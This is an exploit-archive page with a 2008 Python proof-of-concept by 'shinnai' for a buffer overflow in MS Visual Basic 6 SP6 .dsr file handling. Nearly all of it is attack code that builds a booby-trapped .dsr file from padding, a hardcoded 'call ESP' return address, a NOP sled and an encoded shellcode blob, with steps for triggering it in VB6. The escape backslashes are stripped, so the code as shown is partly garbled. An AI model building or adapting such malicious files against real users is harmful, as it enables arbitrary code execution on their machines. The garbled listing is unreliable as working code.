[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MS Visual Basic Enterprise Ed. 6 SP6 .dsr File Handling BOF Exploit
# Published : 2008-01-18
# Author : shinnai
# Previous Title : IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit
# Next Title : Oracle 10g R1 xdb.xdb_pitrig_pkg PLSQL Injection (change sys password)
#usage: exploit.py
import time
print "---------------------------------------------------------------------------"
print ' MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling Buffer Overflown'
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.orgn"
print " Once you create the file, open it with Visual Basic 6 and click on"
print " connection or command name."
print "---------------------------------------------------------------------------"
EIP = "xFFxBEx3Fx7E" #call ESP from user32.dll
nop = "x90x90x90x90"
shellcode =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"+
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"+
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"+
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"+
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"+
"x42x50x42x30x42x50x4bx38x45x44x4ex43x4bx38x4ex47"+
"x45x30x4ax47x41x30x4fx4ex4bx48x4fx54x4ax41x4bx38"+
"x4fx55x42x52x41x30x4bx4ex49x54x4bx48x46x33x4bx48"+
"x41x50x50x4ex41x43x42x4cx49x59x4ex4ax46x48x42x4c"+
"x46x47x47x50x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e"+
"x46x4fx4bx43x46x35x46x52x46x30x45x37x45x4ex4bx58"+
"x4fx45x46x42x41x50x4bx4ex48x46x4bx48x4ex30x4bx44"+
"x4bx48x4fx35x4ex41x41x30x4bx4ex4bx38x4ex51x4bx38"+
"x41x50x4bx4ex49x38x4ex45x46x32x46x50x43x4cx41x33"+
"x42x4cx46x46x4bx48x42x34x42x33x45x38x42x4cx4ax47"+
"x4ex30x4bx38x42x34x4ex50x4bx58x42x47x4ex41x4dx4a"+
"x4bx58x4ax36x4ax30x4bx4ex49x50x4bx48x42x48x42x4b"+
"x42x30x42x50x42x30x4bx38x4ax56x4ex43x4fx55x41x33"+
"x48x4fx42x46x48x35x49x38x4ax4fx43x58x42x4cx4bx37"+
"x42x55x4ax36x42x4fx4cx58x46x50x4fx35x4ax36x4ax59"+
"x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x56x41x56"+
"x4ex46x43x56x50x32x45x46x4ax37x45x36x42x50x5a"
try:
choice = int(raw_input('Choose 1 for "ConnectionName", 2 for "CommandName" bof or '+
'3 to quit:n==> '))
if choice == 1:
buff = 'Connection1' + " " * 559 + EIP + "A" * 12 + nop + shellcode + nop
try:
vb_dsr =
'VERSION 5.00n'+
'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1n'+
' ClientHeight = 6315n'+
' ClientLeft = 0'+
' ClientTop = 0n'+
' ClientWidth = 7935n'+
' _ExtentX = 13996n'+
' _ExtentY = 11139n'+
' FolderFlags = 1n'+
' TypeInfoCookie = 0n'+
' Version = 4n'+
' NumConnections = 1n'+
' BeginProperty Connection1n'+
' ConnectionName = "' + buff + '"n'+
' ConnDispId = 1001n'+
' SourceOfData = 3n'+
' QuoteChar = 34n'+
' SeparatorChar = 46n'+
' EndPropertyn'+
' NumRecordsets = 0n'+
'End' + "x0Dx0A" #"x0Dx0A" ==> EOF
out_file = open('ConnectionName.dsr','w')
out_file.write(vb_dsr)
out_file.close()
print "FILE CREATED!"
except:
print "Something wrong in file creation!"
if choice == 2:
buff = 'Command1' + " " * 566 + EIP + "A" * 12 + nop + shellcode + nop
try:
vb_dsr =
'VERSION 5.00n'+
'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1n'+
' ClientHeight = 6315n'+
' ClientLeft = 0'+
' ClientTop = 0n'+
' ClientWidth = 7935n'+
' _ExtentX = 13996n'+
' _ExtentY = 11139n'+
' FolderFlags = 1n'+
' TypeInfoCookie = 0n'+
' Version = 4n'+
' NumConnections = 1n'+
' BeginProperty Connection1n'+
' ConnectionName = "Connection1"n'+
' ConnDispId = 1001n'+
' SourceOfData = 3n'+
' QuoteChar = 34n'+
' SeparatorChar = 46n'+
' EndPropertyn'+
' NumRecordsets = 1n'+
' BeginProperty Recordset1n'+
' CommandName = "' + buff + '"n'+
' CommDispId = 1002n'+
' RsDispId = -1n'+
' ActiveConnectionName= "Connection1"n'+
' NumFields = 0n'+
' NumGroups = 0n'+
' ParamCount = 0n'+
' RelationCount = 0n'+
' AggregateCount = 0n'+
' EndPropertyn'+
'End' + "x0Dx0A" #"x0Dx0A" ==> EOF
out_file = open('CommandName.dsr','w')
out_file.write(vb_dsr)
out_file.close()
print "FILE CREATED!"
except:
print "Something wrong in file creation!"
if choice == 3:
print "Be safe!"
if choice !=1 and choice != 2 and choice != 3:
print "D'oh! You MUST choose a value between 1 and 3"
except:
print "mmm... ok, you want it..."
time.sleep(4)
print "London Bridge is falling down,nFalling down, falling downnLondon Bridge is falling downnMy fair lady" * 99999
# www.Syue.com [2008-01-18]